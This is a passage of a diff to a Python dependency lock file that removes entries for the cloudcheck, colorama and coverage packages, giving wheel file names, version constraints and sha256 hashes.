"sha256:af152cf8e1b2a845db3412b131d6c8c6964cff161aad9500b56bd383ec028936"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:359e7c66015d3245d636ce03aa527bf6d69c2e0f72278857a2b51e9673df9904"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a8138b78e7a49814ef6bf56f0de9b35c1e53473fd83cabb451db3e740ab5e83"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:22f3645c1eb67a3489c7ebbfef4eb3c1f39187ab54a5d61703cb26df8b477d38"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:78b2f7d8235f9d5fe2d3670c125769c65b94cca1e0170d682069bb478b20ffc8"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:360b80aad144c2fbf8cf251587af714f51d58b02e76593d60da40b20a6ba6140"}, - {file = "cloudcheck-9.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:d623b523de9d24297fc6d337302e12faf8ead6c5ab17bcbf39cbed1ec7f7abe1"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2033d75451653babb908394f00a78ead9cb66481f7ca88f957b74fdff050a0b9"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b504627920b80cc4695b881a1e58be109abdc482be8202865d11c028865ff7e3"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0edb7e05e289852ca026cfa97fea8c86d369a3a6a061edeaf47939a31c745cc2"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:99509b9cefc95cff71bb0cda4651ec3b931202512c41583940e471038cb0f288"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:138e6578db91123a2aafc21a7ee89d302ceec49891b1257364832cd9a4f5ad62"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:4058bbda0b578853288af0bb58de52257cfcafd40b8609a199d5d2b71ec773d9"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8eb3e1af683f327f0eb7dbe1fc93fb07d271b69e0045540d566830fae7855dab"}, - {file = "cloudcheck-9.3.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b4415fd866000257dae58d9b5ab58fb2c95225b65e770f3badee33d3ae4c2989"}, - {file = "cloudcheck-9.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:530874ef87665d6e14b4756b85b95a4c27916804a6778125851b49203ae037c4"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d37ed257e26a21389b99b1c7ad414c3d24b56eab21686a549f8ebf2bdc1dd48"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e3fcb7b0332656c9166bc09977559bad260df9dcb6bcac3baa980842c2017a4"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89347b3e458262119a7f94d5ff2e0d535996a6dd7b501a222a28b8b235379e40"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:252fd606307b4a039b34ff928d482302b323217d92b94eadc9019c81f1231e61"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86a9b96fcd645e028980db0e25482b1af13300c5e4e76fcd6707adffd9552220"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:c055966a04d21b4728e525633d7f0ff5713b76bac9024679ab20ff2e8050e5ba"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3171964cb5e204d17192cf12b79210b0f36457786af187c89407eae297f015fe"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4fdb2cb2727f40e5e4d66a3c43895f0892c72f9615142a190271d9b91dc634c5"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:fa2352c765342aefa2c0e6a75093efb75fafaab51f86e36c4b32849e0ef18ee8"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:146c545702267071e1a375d8ca8bbd7a4fa5e0f87ac6adfd13fc8835bb3d2bc7"}, - {file = "cloudcheck-9.3.0-cp314-cp314-win32.whl", hash = "sha256:a95b840efe2616231c99a9ef5be4e8484b880af5e3e9eeab81bf473cbee70088"}, - {file = "cloudcheck-9.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:9d631e21b3945615739f7862e1e378b2f3f43d4409a62bc657e858762f83ac67"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:681ef11beeebfbf6205b0e05a6d151943a533e6e6124f0399b9128692b350c63"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f96f1ebc2b30c7c790b62f1a7c13909230502c457b445cd96d1803c4434da6bb"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5895e5dd24a3e9f1d3412e15ff96fdd0a6f58d0a1ea192deba6f02926331054"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8407b08b382a6bcb23ab77ce3a12dfdf075feff418c911f7a385701a20b8df34"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:4dab2a77055204e014c31cf7466f23687612de66579b81e3c18c00d3eeaa526b"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:68088d71a16ac55390ec53240642b3cf26f98692035e1ed425a3c35144ca1f26"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5615d361881b15f36afd88136bc5af221ff1794b18c49616411c32578a69de28"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d93616c9d1651c5fc76aeafeb5fe854ea99a2a3c72b5cfc658c852f73e0adef7"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9d2fcdce20139ade4aedfce08d8bbab036178ce0bd3e3eb7402e01d98662d84e"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac36685a49614deec545d2048015c3f0998777df3678a09e865dade3f0157fc4"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8820f6ba9fe3ecd13b52600b4784e09a9f8c39e0a625d5c1365d5a362996bd13"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7497131e592ab84f817ebe47cce604653f32d764bb28bf44cd69f7b4d8a9e004"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3d77f037d0149d839e5d642f7ecdc83db686031081a006695eed74bb958baf09"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:47b591ef041ed9e333af98f186e3ce56f8c486e1fc91afb1a3633d43f28e34b8"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3e48a176278b6e75638502a64b90b3ee9bba6a198c229ba8f1485e9eed527d20"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1d52f55834bf34bb75d0934ef60046e7ee584db09b2e269ef9170e73f8ddd45"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee5e5b240d39c14829576b841411d6a4dd867c1c1d4f23e5aadf910151b25ed1"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5fe3f4e1fef0a83ffd2bfa2d4aa8b4c83aea2c7116fb83e75dcf82780aeb5dd"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39ec7ebae9a8a1ec42d5ec047d0506584576aa1cb32d7d4c3fff5db241844ebe"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92eb00480d651e8ee7d922005804dcc10a30d05e8a1feb7d49d93e11dd7b7b82"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0befb18f1b563985c68ce3aae0d58363939af66e13a15f0defbab1a2bd512459"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:66940758bf97c40db14c1f7457ece633503a91803191c84742f3a938b5fbc9d8"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:5d97d3ecd2917b75b518766281be408253f6f59a2d09db54f7ecf9d847c6de3a"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f593b1a400f8b0ec3995b56126efb001729b46bac4c76d6d2399e8ab62e49515"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:4854fc0aa88ec38275f0c2f8057803c1c37eec93d9f4c5e9f0e0a5b38fd6604f"}, - {file = "cloudcheck-9.3.0.tar.gz", hash = "sha256:e4f92690f84b176395d01a0694263d8edb0f8fd3a63100757376b7810879e6f5"}, -] - -[[package]] -name = "colorama" -version = "0.4.6" -description = "Cross-platform colored terminal text." -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["main", "dev", "docs"] -files = [ - {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, - {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, -] -markers = {main = "platform_system == \"Windows\""} - -[[package]] -name = "coverage" -version = "7.13.5" -description = "Code coverage measurement for Python" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "coverage-7.13.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e0723d2c96324561b9aa76fb982406e11d93cdb388a7a7da2b16e04719cf7ca5"}, - {file = "coverage-7.13.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:52f444e86475992506b32d4e5ca55c24fc88d73bcbda0e9745095b28ef4dc0cf"}, - {file = "coverage-7.13.5-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:704de6328e3d612a8f6c07000a878ff38181ec3263d5a11da1db294fa6a9bdf8"}, - {file = "coverage-7.13.5-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a1a6d79a14e1ec1832cabc833898636ad5f3754a678ef8bb4908515208bf84f4"}, - {file = "coverage-7.13.5-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:79060214983769c7ba3f0cee10b54c97609dca4d478fa1aa32b914480fd5738d"}, - {file = "coverage-7.13.5-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:356e76b46783a98c2a2fe81ec79df4883a1e62895ea952968fb253c114e7f930"}, - {file = "coverage-7.13.5-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0cef0cdec915d11254a7f549c1170afecce708d30610c6abdded1f74e581666d"}, - {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:dc022073d063b25a402454e5712ef9e007113e3a676b96c5f29b2bda29352f40"}, - {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:9b74db26dfea4f4e50d48a4602207cd1e78be33182bc9cbf22da94f332f99878"}, - {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:ad146744ca4fd09b50c482650e3c1b1f4dfa1d4792e0a04a369c7f23336f0400"}, - {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:c555b48be1853fe3997c11c4bd521cdd9a9612352de01fa4508f16ec341e6fe0"}, - {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7034b5c56a58ae5e85f23949d52c14aca2cfc6848a31764995b7de88f13a1ea0"}, - {file = "coverage-7.13.5-cp310-cp310-win32.whl", hash = "sha256:eb7fdf1ef130660e7415e0253a01a7d5a88c9c4d158bcf75cbbd922fd65a5b58"}, - {file = "coverage-7.13.5-cp310-cp310-win_amd64.whl", hash = "sha256:3e1bb5f6c78feeb1be3475789b14a0f0a5b47d505bfc7267126ccbd50289999e"}, - {file = "coverage-7.13.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:66a80c616f80181f4d643b0f9e709d97bcea413ecd9631e1dedc7401c8e6695d"}, - {file = "coverage-7.13.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:145ede53ccbafb297c1c9287f788d1bc3efd6c900da23bf6931b09eafc931587"}, - {file = "coverage-7.13.5-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0672854dc733c342fa3e957e0605256d2bf5934feeac328da9e0b5449634a642"}, - {file = "coverage-7.13.5-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ec10e2a42b41c923c2209b846126c6582db5e43a33157e9870ba9fb70dc7854b"}, - {file = "coverage-7.13.5-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:be3d4bbad9d4b037791794ddeedd7d64a56f5933a2c1373e18e9e568b9141686"}, - {file = "coverage-7.13.5-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4d2afbc5cc54d286bfb54541aa50b64cdb07a718227168c87b9e2fb8f25e1743"}, - {file = "coverage-7.13.5-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3ad050321264c49c2fa67bb599100456fc51d004b82534f379d16445da40fb75"}, - {file = "coverage-7.13.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7300c8a6d13335b29bb76d7651c66af6bd8658517c43499f110ddc6717bfc209"}, - {file = "coverage-7.13.5-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:eb07647a5738b89baab047f14edd18ded523de60f3b30e75c2acc826f79c839a"}, - {file = "coverage-7.13.5-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:9adb6688e3b53adffefd4a52d72cbd8b02602bfb8f74dcd862337182fd4d1a4e"}, - {file = "coverage-7.13.5-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7c8d4bc913dd70b93488d6c496c77f3aff5ea99a07e36a18f865bca55adef8bd"}, - {file = "coverage-7.13.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0e3c426ffc4cd952f54ee9ffbdd10345709ecc78a3ecfd796a57236bfad0b9b8"}, - {file = "coverage-7.13.5-cp311-cp311-win32.whl", hash = "sha256:259b69bb83ad9894c4b25be2528139eecba9a82646ebdda2d9db1ba28424a6bf"}, - {file = "coverage-7.13.5-cp311-cp311-win_amd64.whl", hash = "sha256:258354455f4e86e3e9d0d17571d522e13b4e1e19bf0f8596bcf9476d61e7d8a9"}, - {file = "coverage-7.13.5-cp311-cp311-win_arm64.whl", hash = "sha256:bff95879c33ec8da99fc9b6fe345ddb5be6414b41d6d1ad1c8f188d26f36e028"}, - {file = "coverage-7.13.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:460cf0114c5016fa841214ff5564aa4864f11948da9440bc97e21ad1f4ba1e01"}, - {file = "coverage-7.13.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0e223ce4b4ed47f065bfb123687686512e37629be25cc63728557ae7db261422"}, - {file = "coverage-7.13.5-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:6e3370441f4513c6252bf042b9c36d22491142385049243253c7e48398a15a9f"}, - {file = "coverage-7.13.5-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:03ccc709a17a1de074fb1d11f217342fb0d2b1582ed544f554fc9fc3f07e95f5"}, - {file = "coverage-7.13.5-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3f4818d065964db3c1c66dc0fbdac5ac692ecbc875555e13374fdbe7eedb4376"}, - {file = "coverage-7.13.5-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:012d5319e66e9d5a218834642d6c35d265515a62f01157a45bcc036ecf947256"}, - {file = "coverage-7.13.5-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8dd02af98971bdb956363e4827d34425cb3df19ee550ef92855b0acb9c7ce51c"}, - {file = "coverage-7.13.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f08fd75c50a760c7eb068ae823777268daaf16a80b918fa58eea888f8e3919f5"}, - {file = "coverage-7.13.5-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:843ea8643cf967d1ac7e8ecd4bb00c99135adf4816c0c0593fdcc47b597fcf09"}, - {file = "coverage-7.13.5-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:9d44d7aa963820b1b971dbecd90bfe5fe8f81cff79787eb6cca15750bd2f79b9"}, - {file = "coverage-7.13.5-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:7132bed4bd7b836200c591410ae7d97bf7ae8be6fc87d160b2bd881df929e7bf"}, - {file = "coverage-7.13.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a698e363641b98843c517817db75373c83254781426e94ada3197cabbc2c919c"}, - {file = "coverage-7.13.5-cp312-cp312-win32.whl", hash = "sha256:bdba0a6b8812e8c7df002d908a9a2ea3c36e92611b5708633c50869e6d922fdf"}, - {file = "coverage-7.13.5-cp312-cp312-win_amd64.whl", hash = "sha256:d2c87e0c473a10bffe991502eac389220533024c8082ec1ce849f4218dded810"}, - {file = "coverage-7.13.5-cp312-cp312-win_arm64.whl", hash = "sha256:bf69236a9a81bdca3bff53796237aab096cdbf8d78a66ad61e992d9dac7eb2de"}, - {file = "coverage-7.13.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5ec4af212df513e399cf11610cc27063f1586419e814755ab362e50a85ea69c1"}, - {file = "coverage-7.13.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:941617e518602e2d64942c88ec8499f7fbd49d3f6c4327d3a71d43a1973032f3"}, - {file = "coverage-7.13.5-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:da305e9937617ee95c2e39d8ff9f040e0487cbf1ac174f777ed5eddd7a7c1f26"}, - {file = "coverage-7.13.5-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:78e696e1cc714e57e8b25760b33a8b1026b7048d270140d25dafe1b0a1ee05a3"}, - {file = "coverage-7.13.5-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:02ca0eed225b2ff301c474aeeeae27d26e2537942aa0f87491d3e147e784a82b"}, - {file = "coverage-7.13.5-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:04690832cbea4e4663d9149e05dba142546ca05cb1848816760e7f58285c970a"}, - {file = "coverage-7.13.5-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0590e44dd2745c696a778f7bab6aa95256de2cbc8b8cff4f7db8ff09813d6969"}, - {file = "coverage-7.13.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d7cfad2d6d81dd298ab6b89fe72c3b7b05ec7544bdda3b707ddaecff8d25c161"}, - {file = "coverage-7.13.5-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:e092b9499de38ae0fbfbc603a74660eb6ff3e869e507b50d85a13b6db9863e15"}, - {file = "coverage-7.13.5-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:48c39bc4a04d983a54a705a6389512883d4a3b9862991b3617d547940e9f52b1"}, - {file = "coverage-7.13.5-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:2d3807015f138ffea1ed9afeeb8624fd781703f2858b62a8dd8da5a0994c57b6"}, - {file = "coverage-7.13.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ee2aa19e03161671ec964004fb74b2257805d9710bf14a5c704558b9d8dbaf17"}, - {file = "coverage-7.13.5-cp313-cp313-win32.whl", hash = "sha256:ce1998c0483007608c8382f4ff50164bfc5bd07a2246dd272aa4043b75e61e85"}, - {file = "coverage-7.13.5-cp313-cp313-win_amd64.whl", hash = "sha256:631efb83f01569670a5e866ceb80fe483e7c159fac6f167e6571522636104a0b"}, - {file = "coverage-7.13.5-cp313-cp313-win_arm64.whl", hash = "sha256:f4cd16206ad171cbc2470dbea9103cf9a7607d5fe8c242fdf1edf36174020664"}, - {file = "coverage-7.13.5-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0428cbef5783ad91fe240f673cc1f76b25e74bbfe1a13115e4aa30d3f538162d"}, - {file = "coverage-7.13.5-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e0b216a19534b2427cc201a26c25da4a48633f29a487c61258643e89d28200c0"}, - {file = "coverage-7.13.5-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:972a9cd27894afe4bc2b1480107054e062df08e671df7c2f18c205e805ccd806"}, - {file = "coverage-7.13.5-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4b59148601efcd2bac8c4dbf1f0ad6391693ccf7a74b8205781751637076aee3"}, - {file = "coverage-7.13.5-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:505d7083c8b0c87a8fa8c07370c285847c1f77739b22e299ad75a6af6c32c5c9"}, - {file = "coverage-7.13.5-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:60365289c3741e4db327e7baff2a4aaacf22f788e80fa4683393891b70a89fbd"}, - {file = "coverage-7.13.5-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1b88c69c8ef5d4b6fe7dea66d6636056a0f6a7527c440e890cf9259011f5e606"}, - {file = "coverage-7.13.5-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5b13955d31d1633cf9376908089b7cebe7d15ddad7aeaabcbe969a595a97e95e"}, - {file = "coverage-7.13.5-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:f70c9ab2595c56f81a89620e22899eea8b212a4041bd728ac6f4a28bf5d3ddd0"}, - {file = "coverage-7.13.5-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:084b84a8c63e8d6fc7e3931b316a9bcafca1458d753c539db82d31ed20091a87"}, - {file = "coverage-7.13.5-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ad14385487393e386e2ea988b09d62dd42c397662ac2dabc3832d71253eee479"}, - {file = "coverage-7.13.5-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:7f2c47b36fe7709a6e83bfadf4eefb90bd25fbe4014d715224c4316f808e59a2"}, - {file = "coverage-7.13.5-cp313-cp313t-win32.whl", hash = "sha256:67e9bc5449801fad0e5dff329499fb090ba4c5800b86805c80617b4e29809b2a"}, - {file = "coverage-7.13.5-cp313-cp313t-win_amd64.whl", hash = "sha256:da86cdcf10d2519e10cabb8ac2de03da1bcb6e4853790b7fbd48523332e3a819"}, - {file = "coverage-7.13.5-cp313-cp313t-win_arm64.whl", hash = "sha256:0ecf12ecb326fe2c339d93fc131816f3a7367d223db37817208905c89bded911"}, - {file = "coverage-7.13.5-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fbabfaceaeb587e16f7008f7795cd80d20ec548dc7f94fbb0d4ec2e038ce563f"}, - {file = "coverage-7.13.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:9bb2a28101a443669a423b665939381084412b81c3f8c0fcfbac57f4e30b5b8e"}, - {file = "coverage-7.13.5-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bd3a2fbc1c6cccb3c5106140d87cc6a8715110373ef42b63cf5aea29df8c217a"}, - {file = "coverage-7.13.5-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:6c36ddb64ed9d7e496028d1d00dfec3e428e0aabf4006583bb1839958d280510"}, - {file = "coverage-7.13.5-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:380e8e9084d8eb38db3a9176a1a4f3c0082c3806fa0dc882d1d87abc3c789247"}, - {file = "coverage-7.13.5-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e808af52a0513762df4d945ea164a24b37f2f518cbe97e03deaa0ee66139b4d6"}, - {file = "coverage-7.13.5-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e301d30dd7e95ae068671d746ba8c34e945a82682e62918e41b2679acd2051a0"}, - {file = "coverage-7.13.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:800bc829053c80d240a687ceeb927a94fd108bbdc68dfbe505d0d75ab578a882"}, - {file = "coverage-7.13.5-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:0b67af5492adb31940ee418a5a655c28e48165da5afab8c7fa6fd72a142f8740"}, - {file = "coverage-7.13.5-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c9136ff29c3a91e25b1d1552b5308e53a1e0653a23e53b6366d7c2dcbbaf8a16"}, - {file = "coverage-7.13.5-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:cff784eef7f0b8f6cb28804fbddcfa99f89efe4cc35fb5627e3ac58f91ed3ac0"}, - {file = "coverage-7.13.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:68a4953be99b17ac3c23b6efbc8a38330d99680c9458927491d18700ef23ded0"}, - {file = "coverage-7.13.5-cp314-cp314-win32.whl", hash = "sha256:35a31f2b1578185fbe6aa2e74cea1b1d0bbf4c552774247d9160d29b80ed56cc"}, - {file = "coverage-7.13.5-cp314-cp314-win_amd64.whl", hash = "sha256:2aa055ae1857258f9e0045be26a6d62bdb47a72448b62d7b55f4820f361a2633"}, - {file = "coverage-7.13.5-cp314-cp314-win_arm64.whl", hash = "sha256:1b11eef33edeae9d142f9b4358edb76273b3bfd30bc3df9a4f95d0e49caf94e8"}, - {file = "coverage-7.13.5-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:10a0c37f0b646eaff7cce1874c31d1f1ccb297688d4c747291f4f4c70741cc8b"}, - {file = "coverage-7.13.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b5db73ba3c41c7008037fa731ad5459fc3944cb7452fc0aa9f822ad3533c583c"}, - {file = "coverage-7.13.5-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:750db93a81e3e5a9831b534be7b1229df848b2e125a604fe6651e48aa070e5f9"}, - {file = "coverage-7.13.5-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9ddb4f4a5479f2539644be484da179b653273bca1a323947d48ab107b3ed1f29"}, - {file = "coverage-7.13.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 